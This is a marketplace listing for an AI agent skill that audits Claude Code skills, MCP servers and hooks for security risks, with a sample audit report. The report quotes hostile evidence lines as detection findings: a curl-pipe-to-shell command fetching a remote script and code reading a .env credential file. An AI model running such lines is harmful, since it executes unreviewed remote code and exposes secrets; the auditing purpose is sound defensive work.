Works with the AI Agents you already use

    Claude CodeClaude CodeCursorCursorCodex CLICodex CLIMuseMuseDotsDots+22 more

    bix-claude-skills: Skill and MCP Security Audit

    1

    Scan Claude Code skills, MCP servers, hooks and CLAUDE.md files for risky patterns before you trust them.

    Free

    Security scanned
    bix-claude-skills: Skill and MCP Security Audit

    bix-claude-skills: Skill and MCP Security Audit

    Example session with this skill installed

    Simply invoke the skill pointing at a skill repo or package.

    /audit https://github.com/acme-dev/release-notes-skill

    or generally ask Claude code to use the skill to audit.

    Audit this skill before I install it: https://github.com/acme-dev/release-notes-skill
    • Read your context and instructions
    • Compiled the bix-claude-

    I downloaded acme-dev/release-notes-skill to a temp directory and audited it. The quick scan scored 56/100 (SUSPICIOUS), so I ran the deep scan. The skill agent confirmed that a helper script pipes a remote script into a shell and that the skill reads .env files, neither of which fits a release-notes formatter. Combined score is 68/100. I changed nothing in the skill, and the temp download has been removed.

    Quick Scan Results

    Risk Score: 56/100 (SUSPICIOUS)
    Files scanned: 9
    Pattern matches: 1 critical, 2 high, 3 medium, 2 low

    Security Audit Report

    Target: acme-dev/release-notes-skill (https://github.com/acme-dev/release-notes-skill)
    Date: 2026-10-13
    Mode: skill

    WARNING: This audit found serious security concerns. Do NOT install or use this without careful manual review.

    Risk Score: 68/100 (DANGEROUS)

    SeverityCount
    Critical1
    High2
    Medium3
    Low2
    Info1

    Scope Audited

    SurfaceStatusFindings
    Skill/Plugin filesAudited8
    MCP serversNot in scope0
    HooksNot in scope0
    CLAUDE.md filesNot in scope0

    Critical & High Findings

    [CRITICAL] MP002: Curl pipe to shell

    • Category: malicious_payload
    • Location: scripts/setup.sh:14
    • Evidence: curl -s https://cdn.example-tools.io/init.sh | sh
    • Impact: Runs unreviewed remote code with your user permissions at setup time.
    • Recommendation: Do not run setup.sh. Ask the author to vendor and review the script.

    [HIGH] CT008: Credential file access

    • Category: credential_theft
    • Location: scripts/collect.py:22
    • Evidence: open(os.path.join(repo, ".env"))
    • Impact: A release-notes tool has no reason to read .env. Values could end up in generated output.
    • Recommendation: Treat as unjustified until the author explains it.

    [HIGH] ST001: Excessive tool permissions

    • Category: structural
    • Location: SKILL.md:5
    • Evidence: allowed-tools: Bash, Write, Edit
    • Impact: Broad access for a text-formatting task.
    • Recommendation: Restrict to the tools the skill needs.

    Medium & Low Findings

    Click to expand 5 findings

    • [MEDIUM] NW004 SKILL.md:31, non-GitHub external URL (cdn.example-tools.io)
    • [MEDIUM] NW004 scripts/setup.sh:14, non-GitHub external URL
    • [MEDIUM] OB003 scripts/collect.py:40, dynamic code execution via eval(
    • [LOW] IN001 scripts/collect.py:9, environment variable read
    • [LOW] IN003 scripts/collect.py:51, subprocess spawning

    Informational Notes

    Click to expand 1 notes

    • SKILL.md frontmatter is well formed. The description says "release notes" but the setup script fetches code unrelated to that purpose.

    What Looks Clean

    • No binaries or executables beyond two shell and Python scripts.
    • No Unicode tricks or hidden HTML comments in SKILL.md.
    • No hardcoded API keys.

    Recommendations

    1. Do not install this skill as published.
    2. If you still want it, remove the curl | sh line and the .env read, then re-run the audit.
    3. Ask the author why eval( is used on collected data.

    Next steps

    • Re-run /audit skill ./release-notes-skill after the author fixes the flagged lines.
    • Run /audit hooks and /audit claudemd on your own setup.
    • Use /audit all on a freshly cloned project before opening it in Claude Code.
    CLAUDE.md

    Connects securely to your tools. The creator never sees your data.

    About this skill

    Third-party AI tools and MCP servers often request excessive permissions or hide malicious hooks. This skill vets Claude Code extensions, servers, and configuration files for security vulnerabilities before you install them. It replaces manual code review with a multi-stage automated audit process.

    What it does

    • Multi-surface scanning examines skills, MCP servers, lifecycle hooks, and CLAUDE.md files for hidden risks.
    • Pattern detection identifies suspicious shell commands, network calls, and unauthorized filesystem access.
    • Deep analysis launches parallel sub-agents to evaluate the intent of complex logic vs declared permissions.
    • Risk scoring provides a 0-100 verdict ranging from Safe to Malicious based on combined findings.
    • Remote resolution pulls targets directly from GitHub URLs or npm packages for sandboxed inspection.

    How it works

    1. Targeting: Specify a local path, GitHub URL, or npm package using the audit command with a specific mode like skill or mcp.
    2. Quick Scan: The agent executes a high-speed Python-based pattern scan to find immediate red flags.
    3. Deep Analysis: If risks are found, parallel Sonnet-powered agents perform a contextual review of the source code.
    4. Reporting: You receive a structured security report with severity-ranked findings and installation recommendations.

    Frameworks & tools

    This skill requires Python 3 for initial scanning and uses Sonnet sub-agents for deep contextual analysis. It integrates with Claude Code and MCP server configurations.

    Why this beats prompting it yourself

    Generic prompts often miss obfuscated code or nested hooks in complex extension directories. This tool uses specialized Python scripts for exhaustive pattern matching and parallel agents to maintain a strict security-focused persona that doesn't suffer from context drift.

    Use cases

    • Vetting a community-made MCP server found on GitHub before adding it to your config.
    • Auditing local lifecycle hooks to ensure no scripts are exfiltrating environment variables.
    • Reviewing a new project's CLAUDE.md for prompt injection or risky instructions.
    • Scanning an entire local extension environment for permission overreach.

    Known limitations

    Requires Python 3 installed on the host machine. Audit scope is limited to the targeted directory or package and does not monitor runtime behavior post-installation.

    How to use

    Skills on Agensi run inside your AI agent. Copy the prompt, paste it into your agent, and it connects to Agensi and installs this skill for you. If a payment is needed, your agent shows it to you first.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill passes our trust checks below.

    Security scanned

    Passed our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    Free forever

    No account required to browse

    Trust & safety

    Security scanned

    Verified clean 6 days ago

    • Free to download with an account

    Requires

    GitHub
    When The User Wants To Vet A Skill Or MCP
    Python
    @scope/package
    Node.js

    Listed6 days ago

    What's inside

    Frequently Asked Questions